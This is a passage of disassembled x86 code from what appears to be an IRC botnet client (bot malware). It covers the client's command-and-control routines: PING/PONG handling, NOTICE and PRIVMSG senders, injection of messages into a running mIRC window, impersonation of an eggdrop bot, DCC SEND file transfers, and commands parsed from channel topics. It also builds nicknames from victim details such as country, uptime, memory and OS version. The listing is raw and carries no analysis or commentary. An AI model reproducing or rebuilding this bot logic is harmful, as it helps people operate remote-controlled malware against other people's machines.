		lea	eax, [ebp+var_A0]
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 34h
		cmp	byte_418ED0, 0
		pop	ebx
		jz	short loc_4094FA
		mov	esi, offset dword_418E50
		push	offset byte_418ED0
		push	esi
		call	sub_4114B8	; _mbscpy
		push	esi
		call	sub_40B5E1
		add	esp, 0Ch
		cmp	byte_418F50, 0
		jz	short loc_4094FA
		mov	esi, offset dword_41A0E8
		push	offset byte_418F50
		push	esi
		call	sub_4114B8	; _mbscpy
		push	esi
		call	sub_40B5E1
		add	esp, 0Ch


loc_4094FA:				; CODE XREF: sub_409277+14Cj
					; sub_409277+246j ...
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset dword_414F0C
		call	sub_4097DB
		lea	eax, [ebp+var_A0]
		push	eax
		push	offset byte_41A1E8
		call	sub_4114B8	; _mbscpy
		add	esp, 10h


loc_40951F:				; CODE XREF: sub_409277+D7j
					; sub_409277+FCj
		pop	esi
		leave
		retn
sub_409277	endp


; =============== S U B	R O U T	I N E =======================================



sub_409522	proc near		; CODE XREF: sub_407A76+129Cp
					; sub_409918+3B8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	[esp+10h+arg_8]
		push	[esp+14h+arg_4]
		push	[esp+18h+arg_0]
		call	sub_4091AD
		push	dword_419D44
		call	sub_403D70
		mov	edi, offset dword_419C38
		mov	ebp, 0EA60h
		push	edi
		call	sub_40B5E1
		mov	esi, offset dword_419D38
		push	esi
		call	sub_40B5E1
		mov	ebx, 2710h
		push	ebx
		push	1
		push	esi
		push	edi
		call	sub_403C04
		push	edi
		mov	dword_419D44, eax
		call	sub_40B5A8
		push	esi
		call	sub_40B5A8
		add	esp, 30h


loc_409580:				; CODE XREF: sub_409522+B3j
		cmp	dword_419D44, 0
		jnz	short loc_4095D7
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		call	sub_4091AD
		add	esp, 0Ch
		push	ebp
		call	dword_4120A4	; Sleep
		cmp	ebp, 0A4CB80h
		jge	short loc_4095AB
		add	ebp, 0EA60h


loc_4095AB:				; CODE XREF: sub_409522+81j
		push	edi
		call	sub_40B5E1
		push	esi
		call	sub_40B5E1
		push	ebx
		push	1
		push	esi
		push	edi
		call	sub_403C04
		push	edi
		mov	dword_419D44, eax
		call	sub_40B5A8
		push	esi
		call	sub_40B5A8
		add	esp, 20h
		jmp	short loc_409580
; ---------------------------------------------------------------------------


loc_4095D7:				; CODE XREF: sub_409522+65j
		push	1
		push	1
		call	sub_409277
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409522	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095E7	proc near		; CODE XREF: sub_401B81+14Dp
					; sub_407A76+B05p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	offset aNoticeS	; "NOTICE %s :"
		push	eax
		call	sub_4114DC	; sprintf
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, 1000h
		push	[ebp+arg_4]
		sub	ecx, eax
		lea	eax, [ebp+eax+var_1000]
		push	ecx
		push	eax
		call	sub_411790	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 34h
		leave
		retn
sub_4095E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409659	proc near		; CODE XREF: sub_401B81+184p
					; sub_40287C+10Ep ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1000]
		push	offset aPrivmsgS ; "PRIVMSG %s :"
		push	eax
		call	sub_4114DC	; sprintf
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, 1000h
		push	[ebp+arg_4]
		sub	ecx, eax
		lea	eax, [ebp+eax+var_1000]
		push	ecx
		push	eax
		call	sub_411790	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 34h
		leave
		retn
sub_409659	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096CB	proc near		; CODE XREF: sub_4011C4+4Cp
					; sub_4011C4+21Bp ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [esi+198h], 0
		jnz	loc_4097D8
		mov	eax, [esi+121h]
		push	edi
		cmp	eax, 1
		jnz	short loc_409700
		lea	eax, [esi+21h]
		push	eax
		push	offset aNoticeS	; "NOTICE %s :"
		jmp	short loc_409725
; ---------------------------------------------------------------------------


loc_409700:				; CODE XREF: sub_4096CB+28j
		cmp	eax, 2
		jnz	short loc_409710
		lea	eax, [esi+21h]
		push	eax
		push	offset dword_415060
		jmp	short loc_409725
; ---------------------------------------------------------------------------


loc_409710:				; CODE XREF: sub_4096CB+38j
		cmp	eax, 3
		lea	eax, [esi+21h]
		push	eax
		jnz	short loc_409720
		push	offset dword_415050
		jmp	short loc_409725
; ---------------------------------------------------------------------------


loc_409720:				; CODE XREF: sub_4096CB+4Cj
		push	offset aPrivmsgS ; "PRIVMSG %s :"


loc_409725:				; CODE XREF: sub_4096CB+33j
					; sub_4096CB+43j ...
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 0Ch
		cmp	dword ptr [esi+19Fh], 0
		mov	edi, eax
		jz	short loc_409762
		mov	eax, [esi+121h]
		cmp	eax, 2
		jz	short loc_40974F
		cmp	eax, 3
		jnz	short loc_409762


loc_40974F:				; CODE XREF: sub_4096CB+7Dj
		lea	eax, [ebp+var_1000]
		push	offset dword_415044
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx


loc_409762:				; CODE XREF: sub_4096CB+72j
					; sub_4096CB+82j
		lea	eax, [ebp+arg_8]
		push	eax
		mov	eax, 1000h
		push	[ebp+arg_4]
		sub	eax, edi
		push	eax
		lea	eax, [ebp+edi+var_1000]
		push	eax
		call	sub_411790	; _vsnprintf
		mov	esi, [esi+121h]
		add	esp, 10h
		cmp	esi, 2
		pop	edi
		jz	short loc_409792
		cmp	esi, 3
		jnz	short loc_4097A5


loc_409792:				; CODE XREF: sub_4096CB+C0j
		lea	eax, [ebp+var_1000]
		push	offset dword_415040
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx


loc_4097A5:				; CODE XREF: sub_4096CB+C5j
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 18h


loc_4097D8:				; CODE XREF: sub_4096CB+18j
		pop	esi
		leave
		retn
sub_4096CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097DB	proc near		; CODE XREF: sub_40287C:loc_402A05p
					; sub_4052DF+D8p ...

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411540
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_1000]
		push	[ebp+arg_0]
		push	1000h
		push	eax
		call	sub_411790	; _vsnprintf
		lea	eax, [ebp+var_1000]
		push	offset asc_413214 ; "\r\n"
		push	eax
		call	sub_4114EE	; _mbscat
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	dword_419D44
		call	sub_403D9D
		add	esp, 28h
		leave
		retn
sub_4097DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_409835	proc near		; CODE XREF: sub_409843+Bp
		push	0
		push	offset aMirc	; "mIRC"
		call	dword_4121F8	; FindWindowA
		retn
sub_409835	endp


; =============== S U B	R O U T	I N E =======================================



sub_409843	proc near		; CODE XREF: sub_407A76+12EDp

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[esp+0Ch+arg_0], edi
		jz	short loc_4098C3
		call	sub_409835
		mov	esi, eax
		cmp	esi, edi
		mov	[esp+0Ch+var_4], esi
		jz	short loc_4098C3
		push	ebx
		push	ebp
		push	offset aMirc	; "mIRC"
		push	1000h
		push	edi
		push	4
		push	edi
		push	0FFFFFFFFh
		call	dword_4120C8	; CreateFileMappingA
		push	edi
		push	edi
		mov	ebx, eax
		push	edi
		push	0F001Fh
		push	ebx
		call	dword_4120C4	; MapViewOfFile
		push	[esp+14h+arg_0]
		mov	ebp, eax
		push	ebp
		call	sub_4114DC	; sprintf
		pop	ecx
		pop	ecx
		push	edi
		push	1
		push	4C8h
		push	esi
		mov	esi, dword_4121FC
		call	esi	; SendMessageA
		push	edi
		push	1
		push	4C9h
		push	[esp+20h+var_4]
		call	esi	; SendMessageA
		push	ebp
		call	dword_4120C0	; UnmapViewOfFile
		push	ebx
		call	dword_4120AC	; CloseHandle
		pop	ebp
		pop	ebx


loc_4098C3:				; CODE XREF: sub_409843+9j
					; sub_409843+18j
		pop	edi
		pop	esi
		pop	ecx
		retn
sub_409843	endp


; =============== S U B	R O U T	I N E =======================================



sub_4098C7	proc near		; CODE XREF: sub_407A76+B0p
					; sub_409277+144p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	edi
		push	ebx
		call	sub_4114BE	; strlen
		mov	ebp, eax
		xor	edi, edi
		test	ebp, ebp
		pop	ecx
		jle	short loc_409914
		push	esi


loc_4098DE:				; CODE XREF: sub_4098C7+4Aj
		mov	al, [edi+ebx]
		lea	esi, [edi+ebx]
		cmp	al, 23h
		jnz	short loc_4098EE
		push	39h
		push	30h
		jmp	short loc_409905
; ---------------------------------------------------------------------------


loc_4098EE:				; CODE XREF: sub_4098C7+1Fj
		cmp	al, 3Fh
		jnz	short loc_40990E
		call	sub_40B4C3
		test	eax, eax
		jz	short loc_409901
		push	7Ah
		push	61h
		jmp	short loc_409905
; ---------------------------------------------------------------------------


loc_409901:				; CODE XREF: sub_4098C7+32j
		push	5Ah
		push	41h


loc_409905:				; CODE XREF: sub_4098C7+25j
					; sub_4098C7+38j
		call	sub_40B459
		pop	ecx
		mov	[esi], al
		pop	ecx


loc_40990E:				; CODE XREF: sub_4098C7+29j
		inc	edi
		cmp	edi, ebp
		jl	short loc_4098DE
		pop	esi


loc_409914:				; CODE XREF: sub_4098C7+14j
		pop	edi
		pop	ebp
		pop	ebx
		retn
sub_4098C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409918	proc near		; CODE XREF: sub_40A236+1C4p

var_338		= byte ptr -338h
var_2BC		= byte ptr -2BCh
var_260		= byte ptr -260h
var_23F		= byte ptr -23Fh
var_1BC		= byte ptr -1BCh
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_13F		= dword	ptr -13Fh
var_13B		= byte ptr -13Bh
var_C1		= dword	ptr -0C1h
var_BC		= byte ptr -0BCh
var_3C		= byte ptr -3Ch
var_2C		= byte ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 338h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		push	offset aPing	; "PING"
		push	dword ptr [esi]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40994B
		push	dword ptr [esi+4]
		push	offset aPongS	; "PONG	%s"


loc_409941:				; CODE XREF: sub_409918+39Ej
					; sub_409918+3FCj ...
		call	sub_4097DB
		jmp	loc_409DBA
; ---------------------------------------------------------------------------


loc_40994B:				; CODE XREF: sub_409918+1Fj
		push	offset aPong	; "PONG"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		push	offset aMode	; "MODE"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		push	offset aPrivmsg	; "PRIVMSG"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409B55
		mov	eax, [esi+0Ch]
		xor	edi, edi
		cmp	eax, edi
		jz	loc_409B57
		cmp	byte ptr [eax+1], 1
		jnz	loc_409B57
		push	offset dword_415154
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409AB9
		mov	eax, [esi+10h]
		cmp	eax, edi
		jz	loc_409AB9
		push	offset aSend	; "SEND"
		push	eax
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409AB9
		cmp	[ebp+arg_0], edi
		jz	loc_409AB9
		mov	ecx, [esi+14h]
		cmp	ecx, edi
		jz	loc_40A231
		cmp	[esi+18h], edi
		jz	loc_40A231
		cmp	[esi+1Ch], edi
		jz	loc_40A231
		mov	eax, [esi+20h]
		cmp	eax, edi
		jz	loc_40A231
		cmp	byte ptr [ecx],	22h
		jz	loc_40A231
		push	eax
		call	sub_4114BE	; strlen
		mov	ecx, [esi+20h]
		push	[ebp+arg_4]
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_23F]
		push	offset dword_418E50
		push	eax
		call	sub_4114B8	; _mbscpy
		push	7Ah
		lea	eax, [ebp+var_13B]
		push	edi
		push	eax
		mov	[ebp+var_13F], edi
		call	sub_4114E8	; memset
		push	dword ptr [esi+18h]
		mov	[ebp+var_C1], 1
		call	sub_41151C	; atoi
		movzx	ecx, al
		add	esp, 24h
		push	ecx
		mov	ecx, eax
		shr	ecx, 8
		movzx	ecx, cl
		push	ecx
		mov	ecx, eax
		shr	ecx, 10h
		movzx	ecx, cl
		shr	eax, 18h
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C]
		push	offset dword_413A58
		push	eax
		call	sub_4114DC	; sprintf
		push	dword ptr [esi+20h]
		lea	eax, [ebp+var_2C]
		push	dword ptr [esi+1Ch]
		push	eax
		lea	eax, [ebp+var_260]
		push	dword ptr [esi+14h]
		push	[ebp+arg_4]
		push	eax
		call	sub_401EA8
		add	esp, 30h
		jmp	loc_40A231
; ---------------------------------------------------------------------------


loc_409AB9:				; CODE XREF: sub_409918+9Ej
					; sub_409918+A9j ...
		push	offset dword_415140
		push	dword ptr [esi+0Ch]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B19
		push	offset dword_415134
		push	dword ptr [esi+0Ch]
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B19
		push	offset dword_41512C
		push	dword ptr [esi+0Ch]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409B04
		push	offset dword_415124
		push	dword ptr [esi+0Ch]
		call	dword_412110	; lstrcmp
		test	eax, eax
		jnz	short loc_409B57


loc_409B04:				; CODE XREF: sub_409918+1D8j
		mov	eax, [ebp+arg_10]
		mov	eax, [eax+0Ch]
		inc	eax
		push	eax
		push	[ebp+arg_4]
		call	sub_4095E7
		jmp	loc_409DBA
; ---------------------------------------------------------------------------


loc_409B19:				; CODE XREF: sub_409918+1B2j
					; sub_409918+1C5j
		cmp	[ebp+arg_0], edi
		jz	short loc_409B3E
		push	offset dword_418FD0
		push	3AEh
		push	edi
		push	offset dword_415100
		push	[ebp+arg_4]
		call	sub_4095E7
		add	esp, 14h
		jmp	loc_40A231
; ---------------------------------------------------------------------------


loc_409B3E:				; CODE XREF: sub_409918+204j
		push	offset aEggdropV1_6_16 ; "eggdrop v1.6.16"
		push	offset dword_4150E0
		push	[ebp+arg_4]
		call	sub_4095E7
		jmp	loc_409E4C
; ---------------------------------------------------------------------------


loc_409B55:				; CODE XREF: sub_409918+72j
		xor	edi, edi


loc_409B57:				; CODE XREF: sub_409918+7Fj
					; sub_409918+89j ...
		push	offset a433	; "433"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409CBB
		call	sub_406AB7
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, 4
		mov	[ebp+arg_10], eax
		jnb	short loc_409BBE
		call	sub_404DAD
		test	eax, eax
		jnz	short loc_409BBE
		lea	eax, [ebp+var_BC]
		push	offset dword_418E44
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_40B5E1
		lea	eax, [ebp+var_BC]
		push	eax
		call	sub_4098C7
		add	esp, 10h
		jmp	loc_409CAA
; ---------------------------------------------------------------------------


loc_409BBE:				; CODE XREF: sub_409918+26Aj
					; sub_409918+273j
		call	sub_404D00
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_405F9A
		test	eax, eax
		pop	ecx
		jnz	short loc_409BE1
		lea	eax, [ebp+var_3C]
		push	offset aUnk	; "UNK"
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx


loc_409BE1:				; CODE XREF: sub_409918+2B7j
		call	sub_4067B2
		mov	ecx, 400h
		cmp	eax, ecx
		jbe	short loc_409BF6
		call	sub_4067B2
		jmp	short loc_409BF8
; ---------------------------------------------------------------------------


loc_409BF6:				; CODE XREF: sub_409918+2D5j
		mov	eax, ecx


loc_409BF8:				; CODE XREF: sub_409918+2DCj
		shr	eax, 0Ah
		mov	[ebp+arg_4], eax
		call	sub_406373
		cmp	eax, 3E8h
		mov	ebx, offset aB	; "B"
		jnb	short loc_409C14
		mov	ebx, offset aA	; "A"


loc_409C14:				; CODE XREF: sub_409918+2F5j
		cmp	eax, 1F4h
		jnb	short loc_409C20
		mov	ebx, offset aG	; "G"


loc_409C20:				; CODE XREF: sub_409918+301j
		push	24h
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		mov	[ebp+var_150], 94h
		xor	esi, esi
		rep stosd
		lea	eax, [ebp+var_150]
		push	eax
		call	dword_412034	; GetVersionExA
		cmp	[ebp+var_14C], 5
		jnz	short loc_409C5B
		cmp	[ebp+var_148], 1
		jnz	short loc_409C5B
		push	1
		pop	esi


loc_409C5B:				; CODE XREF: sub_409918+335j
					; sub_409918+33Ej
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		push	eax
		push	5Ah
		push	41h
		call	sub_40B459
		pop	ecx
		pop	ecx
		test	esi, esi
		push	eax
		setz	al
		dec	eax
		and	eax, 2Fh
		add	eax, 2Dh
		movsx	eax, al
		push	eax
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_3C]
		push	5Dh
		push	[ebp+arg_10]
		push	5Bh
		push	5Dh
		push	eax
		push	5Bh
		lea	eax, [ebp+var_BC]
		push	offset aCSCCUCUSCCC ; "%c%s%c%c%u%c%u%s%c%c%c"
		push	eax
		call	sub_4114DC	; sprintf
		add	esp, 34h


loc_409CAA:				; CODE XREF: sub_409918+2A1j
		lea	eax, [ebp+var_BC]
		push	eax
		push	offset dword_414F0C
		jmp	loc_409941
; ---------------------------------------------------------------------------


loc_409CBB:				; CODE XREF: sub_409918+250j
		push	offset aError	; "ERROR"
		push	dword ptr [esi]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409CDA
		push	edi
		push	edi
		push	edi
		call	sub_409522
		jmp	loc_409E4C
; ---------------------------------------------------------------------------


loc_409CDA:				; CODE XREF: sub_409918+3B3j
		push	offset aJoin	; "JOIN"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		mov	edi, offset byte_41A1E8
		test	eax, eax
		pop	ecx
		jnz	short loc_409D19
		push	edi
		push	[ebp+arg_4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409D19
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_409D19
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_409D0E
		inc	eax


loc_409D0E:				; CODE XREF: sub_409918+3F3j
		push	eax
		push	offset aModeSSmntu ; "MODE %s +smntu"
		jmp	loc_409941
; ---------------------------------------------------------------------------


loc_409D19:				; CODE XREF: sub_409918+3D8j
					; sub_409918+3E7j ...
		push	offset a001	; "001"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409DC1
		push	21h
		lea	eax, [ebp+var_3C]
		push	dword ptr [esi+8]
		push	eax
		call	sub_4114D6	; strncpy
		lea	eax, [ebp+var_3C]
		push	eax
		push	edi
		call	sub_4114B8	; _mbscpy
		add	esp, 14h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aModeSXi	; "MODE	%s +xi"
		call	sub_4097DB
		pop	ecx
		pop	ecx
		push	offset dword_41A0E8
		push	offset dword_418E50
		push	offset dword_414AD8
		call	sub_4097DB
		add	esp, 0Ch
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4091A7
		push	eax
		call	sub_40348C
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409D9B
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_40324A
		test	eax, eax
		pop	ecx
		jz	short loc_409DA9


loc_409D9B:				; CODE XREF: sub_409918+470j
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset aUserhostS ; "USERHOST %s"
		jmp	loc_409941
; ---------------------------------------------------------------------------


loc_409DA9:				; CODE XREF: sub_409918+481j
		lea	eax, [ebp+var_1BC]
		push	eax
		push	offset dword_41A2E8


loc_409DB5:				; CODE XREF: sub_409918+571j
		call	sub_4114B8	; _mbscpy


loc_409DBA:				; CODE XREF: sub_409918+2Ej
					; sub_409918+1FCj ...
		pop	ecx
		pop	ecx
		jmp	loc_40A231
; ---------------------------------------------------------------------------


loc_409DC1:				; CODE XREF: sub_409918+412j
		push	offset a451	; "451"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409DDE
		push	eax
		push	1
		call	sub_409277
		jmp	short loc_409DBA
; ---------------------------------------------------------------------------


loc_409DDE:				; CODE XREF: sub_409918+4BAj
		push	offset a302	; "302"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E54
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	loc_40A231
		push	offset a@	; "@"
		push	esi
		call	sub_411528	; strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		mov	esi, 100h
		lea	ebx, [eax+1]
		push	esi
		mov	edi, offset dword_41A2E8
		push	ebx
		push	edi
		call	sub_4059C2
		lea	eax, [ebp+var_1BC]
		push	eax
		push	ebx
		call	sub_4035CE
		add	esp, 14h
		test	al, al
		jz	loc_40A231
		lea	eax, [ebp+var_1BC]
		push	esi
		push	eax
		push	edi
		call	sub_4059C2


loc_409E4C:				; CODE XREF: sub_409918+238j
					; sub_409918+3BDj
		add	esp, 0Ch
		jmp	loc_40A231
; ---------------------------------------------------------------------------


loc_409E54:				; CODE XREF: sub_409918+4D7j
		push	offset aNick	; "NICK"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409E8E
		cmp	[esi+8], eax
		jz	loc_40A231
		push	edi
		push	[ebp+arg_4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A231
		mov	eax, [esi+8]
		inc	eax
		push	eax
		push	edi
		jmp	loc_409DB5
; ---------------------------------------------------------------------------


loc_409E8E:				; CODE XREF: sub_409918+54Dj
		push	offset a332	; "332"
		push	dword ptr [esi+4]
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409F76
		mov	edi, [ebp+arg_10]
		mov	eax, [edi+10h]
		test	eax, eax
		jz	loc_40A231
		mov	dl, [eax+1]
		lea	ecx, [eax+1]
		test	dl, dl
		jz	loc_40A231
		cmp	dl, 3Dh
		jnz	short loc_409F0C
		add	eax, 2
		push	ecx
		push	eax
		call	sub_40A44E
		push	eax
		mov	eax, [edi+10h]
		inc	eax
		push	eax
		call	sub_40A82E
		mov	ebx, eax
		mov	eax, [edi+10h]
		inc	eax
		push	ebx
		push	eax
		call	sub_40A7AE
		mov	eax, [edi+14h]
		add	esp, 18h
		test	eax, eax
		jz	short loc_409F04
		push	eax
		mov	eax, [edi+10h]
		lea	eax, [eax+ebx+1]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_409F0C
; ---------------------------------------------------------------------------


loc_409F04:				; CODE XREF: sub_409918+5D8j
		mov	eax, [edi+10h]
		and	byte ptr [eax+ebx+1], 0


loc_409F0C:				; CODE XREF: sub_409918+5ACj
					; sub_409918+5EAj
		mov	edi, [edi+10h]
		cmp	byte ptr [edi+1], 0
		lea	eax, [edi+1]
		jz	loc_40A231
		lea	ecx, [ebp+arg_4]
		mov	edi, offset asc_415084 ; "]["
		push	ecx
		push	edi
		push	eax
		call	sub_405E4F
		add	esp, 0Ch


loc_409F2F:				; CODE XREF: sub_409918+65Cj
		test	eax, eax
		jz	loc_40A231


loc_409F37:				; CODE XREF: sub_409918+625j
		cmp	byte ptr [eax],	20h
		jnz	short loc_409F3F
		inc	eax
		jmp	short loc_409F37
; ---------------------------------------------------------------------------


loc_409F3F:				; CODE XREF: sub_409918+622j
		push	eax
		lea	eax, [ebp+var_2BC]
		push	dword ptr [esi+0Ch]
		push	offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s"
		push	200h
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_2BC]
		push	eax
		call	sub_40A236
		lea	eax, [ebp+arg_4]
		push	eax
		push	edi
		push	0
		call	sub_405E4F
		add	esp, 24h
		jmp	short loc_409F2F
; ---------------------------------------------------------------------------


loc_409F76:				; CODE XREF: sub_409918+587j
		cmp	[ebp+arg_0], 0
		jz	loc_40A231
		cmp	dword ptr [esi+8], 0
		jz	loc_40A231
		cmp	dword ptr [esi+0Ch], 0
		lea	ebx, [esi+0Ch]
		jz	loc_40A231
		push	offset byte_41A1E8
		push	[ebp+arg_4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A231
		mov	eax, [ebp+arg_10]
		inc	dword ptr [ebx]
		add	eax, 0Ch
		push	offset aPrivmsg	; "PRIVMSG"
		mov	[ebp+var_14], eax
		inc	dword ptr [eax]
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		pop	ecx
		push	3
		test	eax, eax
		pop	edi
		jnz	short loc_409FE7
		mov	eax, [ebx]
		cmp	byte ptr [eax],	1
		jz	short loc_40A005
		mov	eax, [esi+8]
		and	[ebp+var_4], 0
		mov	[ebp+arg_0], eax
		jmp	loc_40A093
; ---------------------------------------------------------------------------


loc_409FE7:				; CODE XREF: sub_409918+6B7j
		push	offset aNotice	; "NOTICE"
		push	dword ptr [esi+4]
		call	sub_411924	; _strcmpi
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40A231
		mov	eax, [ebx]
		cmp	byte ptr [eax],	1
		jnz	short loc_40A04A


loc_40A005:				; CODE XREF: sub_409918+6BEj
		mov	ecx, [ebp+arg_4]
		inc	eax
		mov	[ebx], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_4], edi
		xor	edi, edi
		inc	dword ptr [eax]
		cmp	[esi], edi
		mov	[ebp+arg_0], ecx
		jz	short loc_40A073
		mov	[ebp+arg_C], esi


loc_40A01F:				; CODE XREF: sub_409918+72Ej
		cmp	edi, 0Fh
		jz	short loc_40A073
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, [ebp+arg_C]
